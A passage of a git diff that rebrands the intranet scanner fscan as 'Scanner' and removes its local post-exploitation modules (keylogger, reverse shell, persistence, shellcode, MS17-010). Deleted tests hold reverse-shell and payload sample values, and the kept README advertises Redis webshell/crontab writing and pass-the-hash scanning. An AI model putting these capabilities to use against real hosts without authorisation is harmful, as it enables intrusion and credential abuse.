发现 Bug → [提交 Bug 报告](https://scanner/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://scanner/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://scanner/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://scanner/discussions) diff --git a/.github/release-notes/v2.2.0-rc.md b/.github/release-notes/v2.2.0-rc.md index 33c3e7dd..1bcec506 100644 --- a/.github/release-notes/v2.2.0-rc.md +++ b/.github/release-notes/v2.2.0-rc.md @@ -1,8 +1,8 @@ # fscan v2.2.0-rc > ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 -> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 -> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://scanner/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://scanner/releases/tag/v2.1.3)。 --- @@ -79,10 +79,10 @@ 这是一个 RC 版本,我们非常需要你的反馈: -- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) -- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) -- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) -- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) +- 🐛 发现 Bug → [提交 Bug 报告](https://scanner/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://scanner/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://scanner/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://scanner/discussions) --- diff --git a/.github/release-notes/v2.2.0.md b/.github/release-notes/v2.2.0.md index 0a7ace6b..89cb5f6b 100644 --- a/.github/release-notes/v2.2.0.md +++ b/.github/release-notes/v2.2.0.md @@ -126,4 +126,4 @@ v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Iss 完整变更记录见: -https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0 +https://scanner/compare/v2.1.3...v2.2.0 diff --git a/Makefile b/Makefile index e7661437..263ee8b2 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -# fscan Makefile +# Scanner Makefile # 提供统一的构建、测试、检查命令 .PHONY: help test test-cover build build-debug build-race lint lint-fix clean ci deps install-tools stress-test @@ -7,7 +7,7 @@ .DEFAULT_GOAL := help # 项目配置 -BINARY_NAME := fscan +BINARY_NAME := scanner GO := go GOLANGCI_LINT := golangci-lint @@ -19,7 +19,7 @@ NC := \033[0m # No Color ## help: 显示帮助信息 help: - @echo "$(BLUE)fscan 构建工具$(NC)" + @echo "$(BLUE)Scanner 构建工具$(NC)" @echo "" @echo "$(GREEN)可用命令:$(NC)" @grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /' @@ -53,9 +53,9 @@ test-cover: $(GO) tool cover -html=coverage.out -o coverage.html @echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)" -## build: 构建生产版本(无 pprof,优化体积) +## build: 构建生产版本(不含利用组件) build: - @echo "$(BLUE)构建生产版本(无 pprof)...$(NC)" + @echo "$(BLUE)构建生产版本(默认扫描版,不含利用组件)...$(NC)" $(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) . @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)" diff --git a/README.md b/README.md index 3217b79f..00c6cae1 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ 内网综合扫描工具,一键自动化漏扫。 -**版本**: 2.2.0 +**版本**: 2.2.2 ## 功能特性 @@ -28,17 +28,8 @@ ### 漏洞利用 - **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE -- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令 - **SSH命令执行** - 认证成功后自动执行命令 -### 本地模块 -- **信息收集** - 系统信息、环境变量、域控信息、网卡配置 -- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出 -- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD -- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务 -- **杀软检测** - 识别目标主机安装的安全软件 -- **痕迹清理** - 日志清理工具 - ### 输入输出 - **目标输入** - IP/CIDR/域名/URL,支持文件批量导入 - **排除规则** - 支持排除特定主机、端口 @@ -54,7 +45,7 @@ ### 扩展功能 - **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯 - **Lab靶场环境** - 内置Docker靶场用于测试学习 -- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展 +- **插件化架构** - 服务插件与Web插件分离,易于扩展 - **多语言支持** - 中英文界面切换(-lang zh/en) - **性能统计** - JSON格式性能报告(-perf) @@ -101,7 +92,7 @@ - **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹 - **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试 - **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析 -- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译 +- **插件选择性编译** - Build Tags系统,支持服务/Web插件独立编译 - **默认端口扩展** - 从62个扩展到133个常用端口 - **全端口扫描支持** - 扩大端口范围限制 - **HTTP重定向控制** - 可配置的重定向次数限制 @@ -169,9 +160,6 @@ # Web扫描 ./fscan -u http://192.168.1.1 -# 本地插件 -./fscan -local systeminfo - # Hash碰撞 ./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx diff --git a/README_EN.md b/README_EN.md index 1ffc2535..da0fbafb 100644 --- a/README_EN.md +++ b/README_EN.md @@ -4,7 +4,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. -**Version**: 2.2.0 +**Version**: 2.2.2 ## Features @@ -28,17 +28,8 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. ### Exploitation - **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE -- **MS17-010 Exploit** - ShellCode injection, add user, execute commands - **SSH Command Exec** - Auto command execution after authentication -### Local Modules -- **Info Gathering** - System info, environment variables, DC info, NIC config -- **Credential Access** - Memory dump (MiniDump), keylogger, registry export -- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD -- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service -- **AV Detection** - Identify installed security software -- **Trace Cleanup** - Log cleaning tool - ### Input/Output - **Target Input** - IP/CIDR/domain/URL, batch file import - **Exclusion Rules** - Exclude specific hosts, ports @@ -53,7 +44,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. ### Extensions - **Lab Environment** - Built-in Docker lab for testing and learning -- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend +- **Plugin Architecture** - Service and Web plugins separated, easy to extend - **Multi-language** - Chinese/English interface (-lang zh/en) - **Performance Stats** - JSON format performance report (-perf) @@ -100,7 +91,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses - **TXT Output URL Summary** - Append web service URL list for batch testing - **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing -- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation +- **Selective Plugin Compilation** - Build Tags system for independent service/web plugin compilation - **Default Port Expansion** - Extended from 62 to 133 common ports - **Full Port Scan Support** - Expanded port range limits - **HTTP Redirect Control** - Configurable redirect count limit @@ -168,9 +159,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. # Web scanning ./fscan -u http://192.168.1.1 -# Local plugin -./fscan -local systeminfo - # Hash authentication ./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx diff --git a/common/api_test.go b/common/api_test.go index ee4bc61d..42568668 100644 --- a/common/api_test.go +++ b/common/api_test.go @@ -4,8 +4,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/logging" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/logging" + "scanner/common/proxy" ) func TestGetLogLevelFromString(t *testing.T) { diff --git a/common/config_builder.go b/common/config_builder.go index fea1e4bc..89253e86 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -8,9 +8,9 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common/config" + "scanner/common/i18n" + "scanner/common/parsers" ) /* diff --git a/common/config_builder_test.go b/common/config_builder_test.go index bdf9af2e..1f78c011 100644 --- a/common/config_builder_test.go +++ b/common/config_builder_test.go @@ -5,7 +5,7 @@ import ( "testing" "time" - fscanconfig "github.com/shadow1ng/fscan/common/config" + scfg "scanner/common/config" ) func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { @@ -59,29 +59,29 @@ func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) { t.Fatalf("BuildConfig error = %v", err) } - defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"] + defaultSSHUsers := scfg.DefaultUserDict["ssh"] if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" { t.Fatal("BuildConfig mutated DefaultUserDict") } cfg.Credentials.Userdict["ssh"][0] = "mutated-user" - if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + if scfg.DefaultUserDict["ssh"][0] == "mutated-user" { t.Fatal("Config userdict shares backing storage with DefaultUserDict") } cfg.Credentials.Passwords[0] = "mutated-password" - if fscanconfig.DefaultPasswords[0] == "mutated-password" { + if scfg.DefaultPasswords[0] == "mutated-password" { t.Fatal("Config passwords share backing storage with DefaultPasswords") } port := 80 cfg.PortMap[port][0] = "mutated-probe" - if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + if scfg.DefaultPortMap[port][0] == "mutated-probe" { t.Fatal("Config port map shares backing storage with DefaultPortMap") } cfg.DefaultMap[0] = "mutated-default-probe" - if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + if scfg.DefaultProbeMap[0] == "mutated-default-probe" { t.Fatal("Config default map shares backing storage with DefaultProbeMap") } } @@ -126,23 +126,23 @@ func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) { cfg := NewConfig() cfg.Credentials.Userdict["ssh"][0] = "mutated-user" - if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" { + if scfg.DefaultUserDict["ssh"][0] == "mutated-user" { t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict") } cfg.Credentials.Passwords[0] = "mutated-password" - if fscanconfig.DefaultPasswords[0] == "mutated-password" { + if scfg.DefaultPasswords[0] == "mutated-password" { t.Fatal("NewConfig passwords share backing storage with DefaultPasswords") } port := 80 cfg.PortMap[port][0] = "mutated-probe" - if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" { + if scfg.DefaultPortMap[port][0] == "mutated-probe" { t.Fatal("NewConfig port map shares backing storage with DefaultPortMap") } cfg.DefaultMap[0] = "mutated-default-probe" - if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" { + if scfg.DefaultProbeMap[0] == "mutated-default-probe" { t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap") } } diff --git a/common/config_struct.go b/common/config_struct.go index f7f0b083..6827630f 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -3,7 +3,7 @@ package common import ( "time" - "github.com/shadow1ng/fscan/common/config" + "scanner/common/config" ) /* @@ -36,38 +36,28 @@ type Config struct { // 扫描模式 Mode string // 扫描模式 - LocalMode bool // 本地模式 - LocalPlugin string // 本地插件名 AliveOnly bool // 仅存活检测 MaxRetries int // 最大重试次数 MaxRetriesExplicit bool // 用户显式指定了 -retry DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv) // 高级功能(从AdvancedConfig合并) - Shellcode string // Shellcode - LocalPluginsList []string // 本地插件列表 - DNSLog bool // DNSLog检测 - PersistenceTargetFile string // 持久化目标文件 - WinPEFile string // WinPE文件 - PortMap map[int][]string // 端口映射 - DefaultMap []string // 默认映射 + DNSLog bool // DNSLog检测 + PortMap map[int][]string // 端口映射 + DefaultMap []string // 默认映射 // 分组配置 - 值类型 - Credentials CredentialConfig - Network NetworkConfig - Output OutputConfig - POC POCConfig - Redis RedisConfig - HTTP HTTPConfig - LocalExploit LocalExploitConfig - Target TargetConfig // 扫描目标配置 + Credentials CredentialConfig + Network NetworkConfig + Output OutputConfig + POC POCConfig + Redis RedisConfig + HTTP HTTPConfig + Target TargetConfig // 扫描目标配置 // 全局超时 GlobalTimeout time.Duration GlobalTimeoutExplicit bool - - // SOCKS5代理端口配置 - Socks5ProxyPort int // SOCKS5代理端口 } // TargetConfig 扫描目标配置 @@ -143,15 +133,6 @@ type HTTPConfig struct { Accept string // Accept头 } -// LocalExploitConfig 本地利用相关配置 -type LocalExploitConfig struct { - ReverseShellTarget string // 反弹Shell目标 - ForwardShellPort int // 正向Shell端口 - KeyloggerOutputFile string // 键盘记录输出文件 - DownloadURL string // 下载URL - DownloadSavePath string // 下载保存路径 -} - func cloneStringSlice(values []string) []string { if values == nil { return nil @@ -196,18 +177,17 @@ func (c *Config) ModuleTimeout() time.Duration { func NewConfig() *Config { return &Config{ // 高频字段 - 使用默认常量 - Timeout: time.Duration(DefaultTimeout) * time.Second, - ThreadNum: DefaultThreadNum, - ThreadCeiling: DefaultThreadNum, - ModuleThreadNum: 10, - DisableBrute: false, - DisablePing: false, + Timeout: time.Duration(DefaultTimeout) * time.Second, + ThreadNum: DefaultThreadNum, + ThreadCeiling: DefaultThreadNum, + ModuleThreadNum: 10, + DisableBrute: false, + DisablePing: false, DisableTcpProbe: false, DisableSubnetProbe: false, // 扫描模式 Mode: DefaultScanMode, - LocalMode: false, AliveOnly: false, MaxRetries: 3, @@ -236,8 +216,5 @@ func NewConfig() *Config { POC: POCConfig{ Num: 20, }, - LocalExploit: LocalExploitConfig{ - ForwardShellPort: 4444, - }, } } diff --git a/common/debug/debug.go b/common/debug/debug.go index 97c8878c..b0174b74 100644 --- a/common/debug/debug.go +++ b/common/debug/debug.go @@ -10,7 +10,7 @@ import ( "runtime/pprof" "runtime/trace" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) var ( diff --git a/common/flag.go b/common/flag.go index 0efcf6e8..d953721b 100644 --- a/common/flag.go +++ b/common/flag.go @@ -8,16 +8,13 @@ import ( "strings" "github.com/fatih/color" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/config" + "scanner/common/i18n" ) // ErrShowHelp 表示用户请求显示帮助(正常退出) var ErrShowHelp = errors.New("show help requested") -// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件 -var IsLocalMode func(mode string) bool - // Banner 显示程序横幅信息 func Banner() { // 静默模式下完全跳过Banner显示 @@ -33,10 +30,10 @@ func Banner() { lines := []string{ " ___ _ ", - " / _ \\ ___ ___ _ __ __ _ ___| | __ ", - " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /", - "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ", - "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", + " / _ \\ ___ ___ _ __ __ _ ___| | __", + " / /_\\/ / __|/ __| '__/ _` |/ __| |/ /", + "/ /_\\\\ \\__ \\ (__| | | (_| | (__| < ", + "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ", } // 获取最长行的长度 @@ -72,9 +69,9 @@ func Banner() { fmt.Println(bottomBorder) // 打印版本信息 - versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date) + versionStr := fmt.Sprintf(" Scanner %s (%s %s)", version, commit, date) if commit == "unknown" { - versionStr = fmt.Sprintf(" Fscan %s", version) + versionStr = fmt.Sprintf(" Scanner %s", version) } if flagVars.NoColor { fmt.Printf("%s\n\n", versionStr) @@ -114,7 +111,6 @@ func Flag(Info *HostInfo) error { flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe")) - flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin")) flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) // ═════════════════════════════════════════════════ @@ -194,17 +190,6 @@ func Flag(Info *HostInfo) error { // ═════════════════════════════════════════════════ // 其他参数 // ═════════════════════════════════════════════════ - flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode")) - flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) - flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server")) - flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port")) - flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file")) - flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file")) - flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output")) - - // 文件下载插件参数 - flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url")) - flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path")) flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language")) // 帮助参数 @@ -353,16 +338,6 @@ func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { // 检查是否提供了扫描目标 hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != "" - // 本地模式不需要目标主机 - if fv.LocalPlugin != "" { - return false - } - - // -m 指定的全是本地插件时也不需要目标 - if IsLocalMode != nil && IsLocalMode(fv.ScanMode) { - return false - } - // 如果没有提供任何扫描目标,则显示帮助 return !hasTarget } @@ -382,16 +357,5 @@ func checkParameterConflicts() error { LogInfo(i18n.GetText("param_conflict_ao_icmp_both")) } - // 检查本地插件参数 - if fv.LocalPlugin != "" { - // 检查是否包含分隔符(确保只能指定单个插件) - invalidChars := []string{",", ";", " ", "|", "&"} - for _, char := range invalidChars { - if strings.Contains(fv.LocalPlugin, char) { - return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char)) - } - } - } - return nil } diff --git a/common/flag_config.go b/common/flag_config.go index 171904e9..15e34f61 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -4,7 +4,7 @@ import ( "os" "time" - "github.com/shadow1ng/fscan/common/config" + "scanner/common/config" "golang.org/x/term" ) @@ -43,7 +43,6 @@ type FlagVars struct { DisablePing bool DisableTcpProbe bool DisableSubnetProbe bool - LocalPlugin string AliveOnly bool DisableBrute bool MaxRetries int @@ -110,17 +109,6 @@ type FlagVars struct { PerfStats bool Language string - // 高级功能 - Shellcode string - ReverseShellTarget string - Socks5ProxyPort int - ForwardShellPort int - PersistenceTargetFile string - WinPEFile string - KeyloggerOutputFile string - DownloadURL string - DownloadSavePath string - // 帮助 ShowHelp bool } @@ -157,28 +145,19 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { // 扫描模式 Mode: fv.ScanMode, - LocalMode: fv.LocalPlugin != "", - LocalPlugin: fv.LocalPlugin, AliveOnly: fv.AliveOnly, MaxRetries: fv.MaxRetries, MaxRetriesExplicit: fv.MaxRetriesExplicit, // 高级功能 - Shellcode: fv.Shellcode, - LocalPluginsList: nil, // 后续解析 - DNSLog: fv.DNSLog, - PersistenceTargetFile: fv.PersistenceTargetFile, - WinPEFile: fv.WinPEFile, - PortMap: clonePortMap(config.DefaultPortMap), - DefaultMap: cloneStringSlice(config.DefaultProbeMap), + DNSLog: fv.DNSLog, + PortMap: clonePortMap(config.DefaultPortMap), + DefaultMap: cloneStringSlice(config.DefaultProbeMap), // 全局超时 GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second, GlobalTimeoutExplicit: fv.GlobalTimeoutExplicit, - // SOCKS5代理端口 - Socks5ProxyPort: fv.Socks5ProxyPort, - // 分组配置 Credentials: CredentialConfig{ Username: fv.Username, @@ -233,13 +212,6 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { UserAgent: defaultUserAgent(fv.UserAgent), Accept: fv.Accept, }, - LocalExploit: LocalExploitConfig{ - ReverseShellTarget: fv.ReverseShellTarget, - ForwardShellPort: fv.ForwardShellPort, - KeyloggerOutputFile: fv.KeyloggerOutputFile, - DownloadURL: fv.DownloadURL, - DownloadSavePath: fv.DownloadSavePath, - }, Target: TargetConfig{ Ports: fv.Ports, ExcludePorts: fv.ExcludePorts, @@ -251,10 +223,10 @@ func isStdoutTerminal() bool { return term.IsTerminal(int(os.Stdout.Fd())) } -// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别 +// defaultUserAgent 用户未通过 -ua 指定时使用稳定默认值。 func defaultUserAgent(ua string) string { if ua != "" { return ua } - return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + return DefaultHTTPUserAgent } diff --git a/common/flag_test.go b/common/flag_test.go index 3e02dd7e..44f184cf 100644 --- a/common/flag_test.go +++ b/common/flag_test.go @@ -107,20 +107,6 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) { } }, }, - { - name: "本地插件模式", - fv: &FlagVars{ - LocalPlugin: "systeminfo", - }, - validate: func(t *testing.T, cfg *Config) { - if !cfg.LocalMode { - t.Error("LocalMode 应该为 true") - } - if cfg.LocalPlugin != "systeminfo" { - t.Errorf("LocalPlugin = %q, want %q", cfg.LocalPlugin, "systeminfo") - } - }, - }, { name: "扫描模式组合", fv: &FlagVars{ @@ -701,121 +687,6 @@ func TestBuildConfigFromFlags_Credentials(t *testing.T) { } } -// ============================================================================= -// BuildConfigFromFlags 测试 - 高级功能参数 -// ============================================================================= - -func TestBuildConfigFromFlags_Advanced(t *testing.T) { - tests := []struct { - name string - fv *FlagVars - validate func(*testing.T, *Config) - }{ - { - name: "Shellcode设置", - fv: &FlagVars{ - Shellcode: "4831c048...", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.Shellcode != "4831c048..." { - t.Errorf("Shellcode = %q, want %q", cfg.Shellcode, "4831c048...") - } - }, - }, - { - name: "反向Shell目标", - fv: &FlagVars{ - ReverseShellTarget: "192.168.1.100:4444", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.ReverseShellTarget != "192.168.1.100:4444" { - t.Errorf("ReverseShellTarget = %q, want %q", cfg.LocalExploit.ReverseShellTarget, "192.168.1.100:4444") - } - }, - }, - { - name: "SOCKS5代理端口", - fv: &FlagVars{ - Socks5ProxyPort: 1080, - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.Socks5ProxyPort != 1080 { - t.Errorf("Socks5ProxyPort = %d, want %d", cfg.Socks5ProxyPort, 1080) - } - }, - }, - { - name: "正向Shell端口", - fv: &FlagVars{ - ForwardShellPort: 5555, - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.ForwardShellPort != 5555 { - t.Errorf("ForwardShellPort = %d, want %d", cfg.LocalExploit.ForwardShellPort, 5555) - } - }, - }, - { - name: "持久化目标文件", - fv: &FlagVars{ - PersistenceTargetFile: "/etc/crontab", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.PersistenceTargetFile != "/etc/crontab" { - t.Errorf("PersistenceTargetFile = %q, want %q", cfg.PersistenceTargetFile, "/etc/crontab") - } - }, - }, - { - name: "Windows PE文件", - fv: &FlagVars{ - WinPEFile: "C:\\Windows\\Temp\\payload.exe", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.WinPEFile != "C:\\Windows\\Temp\\payload.exe" { - t.Errorf("WinPEFile = %q, want %q", cfg.WinPEFile, "C:\\Windows\\Temp\\payload.exe") - } - }, - }, - { - name: "键盘记录输出文件", - fv: &FlagVars{ - KeyloggerOutputFile: "keylog.txt", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.KeyloggerOutputFile != "keylog.txt" { - t.Errorf("KeyloggerOutputFile = %q, want %q", cfg.LocalExploit.KeyloggerOutputFile, "keylog.txt") - } - }, - }, - { - name: "下载URL和路径", - fv: &FlagVars{ - DownloadURL: "http://example.com/file.txt", - DownloadSavePath: "/tmp/downloaded.txt", - }, - validate: func(t *testing.T, cfg *Config) { - if cfg.LocalExploit.DownloadURL != "http://example.com/file.txt" { - t.Errorf("DownloadURL = %q, want %q", cfg.LocalExploit.DownloadURL, "http://example.com/file.txt") - } - if cfg.LocalExploit.DownloadSavePath != "/tmp/downloaded.txt" { - t.Errorf("DownloadSavePath = %q, want %q", cfg.LocalExploit.DownloadSavePath, "/tmp/downloaded.txt") - } - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - cfg := BuildConfigFromFlags(tt.fv) - if cfg == nil { - t.Fatal("BuildConfigFromFlags 返回 nil") - } - tt.validate(t, cfg) - }) - } -} - // ============================================================================= // BuildConfigFromFlags 测试 - 目标配置参数 // ============================================================================= @@ -1097,41 +968,6 @@ func TestCheckParameterConflicts(t *testing.T) { }, wantError: false, }, - { - name: "本地插件包含逗号", - fv: &FlagVars{ - LocalPlugin: "systeminfo,avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含分号", - fv: &FlagVars{ - LocalPlugin: "systeminfo;avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含空格", - fv: &FlagVars{ - LocalPlugin: "systeminfo avdetect", - }, - wantError: true, - }, - { - name: "本地插件包含管道符", - fv: &FlagVars{ - LocalPlugin: "systeminfo|avdetect", - }, - wantError: true, - }, - { - name: "单个本地插件-正常", - fv: &FlagVars{ - LocalPlugin: "systeminfo", - }, - wantError: false, - }, { name: "AliveOnly和ICMP模式同时指定", fv: &FlagVars{ diff --git a/common/globals.go b/common/globals.go index ffcdc8eb..f1d2ae20 100644 --- a/common/globals.go +++ b/common/globals.go @@ -7,7 +7,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* diff --git a/common/globals_test.go b/common/globals_test.go index 9c506c4f..dabf5fec 100644 --- a/common/globals_test.go +++ b/common/globals_test.go @@ -24,10 +24,10 @@ func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) { if GetVersion() == "" { t.Fatal("GetVersion returned empty string") } - if !ContainsAny("hello fscan", "none", "scan") { + if !ContainsAny("hello scan-test", "none", "scan") { t.Fatal("ContainsAny should find a matching substring") } - if ContainsAny("hello fscan", "none", "missing") { + if ContainsAny("hello test", "none", "missing") { t.Fatal("ContainsAny should return false when nothing matches") } diff --git a/common/http_identity.go b/common/http_identity.go new file mode 100644 index 00000000..63ce98e0 --- /dev/null +++ b/common/http_identity.go @@ -0,0 +1,13 @@ +package common + +// DefaultHTTPUserAgent is used when the operator does not provide -ua. +// Keep it stable so scans are reproducible and HTTP logs remain auditable. +const DefaultHTTPUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + +// HTTPUserAgent returns the configured User-Agent or the stable default. +func HTTPUserAgent(config *Config) string { + if config != nil && config.HTTP.UserAgent != "" { + return config.HTTP.UserAgent + } + return DefaultHTTPUserAgent +} diff --git a/common/http_identity_test.go b/common/http_identity_test.go new file mode 100644 index 00000000..60c03cb1 --- /dev/null +++ b/common/http_identity_test.go @@ -0,0 +1,29 @@ +package common + +import "testing" + +func TestHTTPUserAgent(t *testing.T) { + if got := HTTPUserAgent(nil); got != DefaultHTTPUserAgent { + t.Fatalf("HTTPUserAgent(nil) = %q, want %q", got, DefaultHTTPUserAgent) + } + + config := NewConfig() + config.HTTP.UserAgent = "" + if got := HTTPUserAgent(config); got != DefaultHTTPUserAgent { + t.Fatalf("HTTPUserAgent(empty) = %q, want %q", got, DefaultHTTPUserAgent) + } + + config.HTTP.UserAgent = "Scanner-Test/1.0" + if got := HTTPUserAgent(config); got != "Scanner-Test/1.0" { + t.Fatalf("HTTPUserAgent(custom) = %q", got) + } +} + +func TestDefaultUserAgentIsStable(t *testing.T) { + first := defaultUserAgent("") + for i := 0; i < 100; i++ { + if got := defaultUserAgent(""); got != first { + t.Fatalf("default User-Agent changed between calls: %q != %q", got, first) + } + } +} diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index c6855ee0..7ac4dadb 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -1,4 +1,4 @@ -# fscan English translation file +# Scanner English translation file # Contains only actually used messages (115) # ========================= Command Line Arguments (71) ========================= @@ -36,10 +36,8 @@ flag_disable_tcp_probe: other: "Disable TCP supplementary probe" flag_disable_subnet_probe: other: "Disable subnet pre-filter (optimization that skips empty /24 subnets in large scans)" -flag_local_plugin: - other: "Specify local plugin name (e.g.: cleaner, systeminfo, keylogger)" flag_debug: - other: "Enable debug mode, write logs to fscan_debug.log" + other: "Enable debug mode, write logs to debug.log" flag_alive_only: other: "Alive detection only" flag_username: @@ -132,24 +130,6 @@ flag_disable_progress: other: "Disable progress bar" flag_perf_stats: other: "Output performance stats in JSON" -flag_shellcode: - other: "Shellcode" -flag_reverse_shell_target: - other: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)" -flag_start_socks5_server: - other: "Start SOCKS5 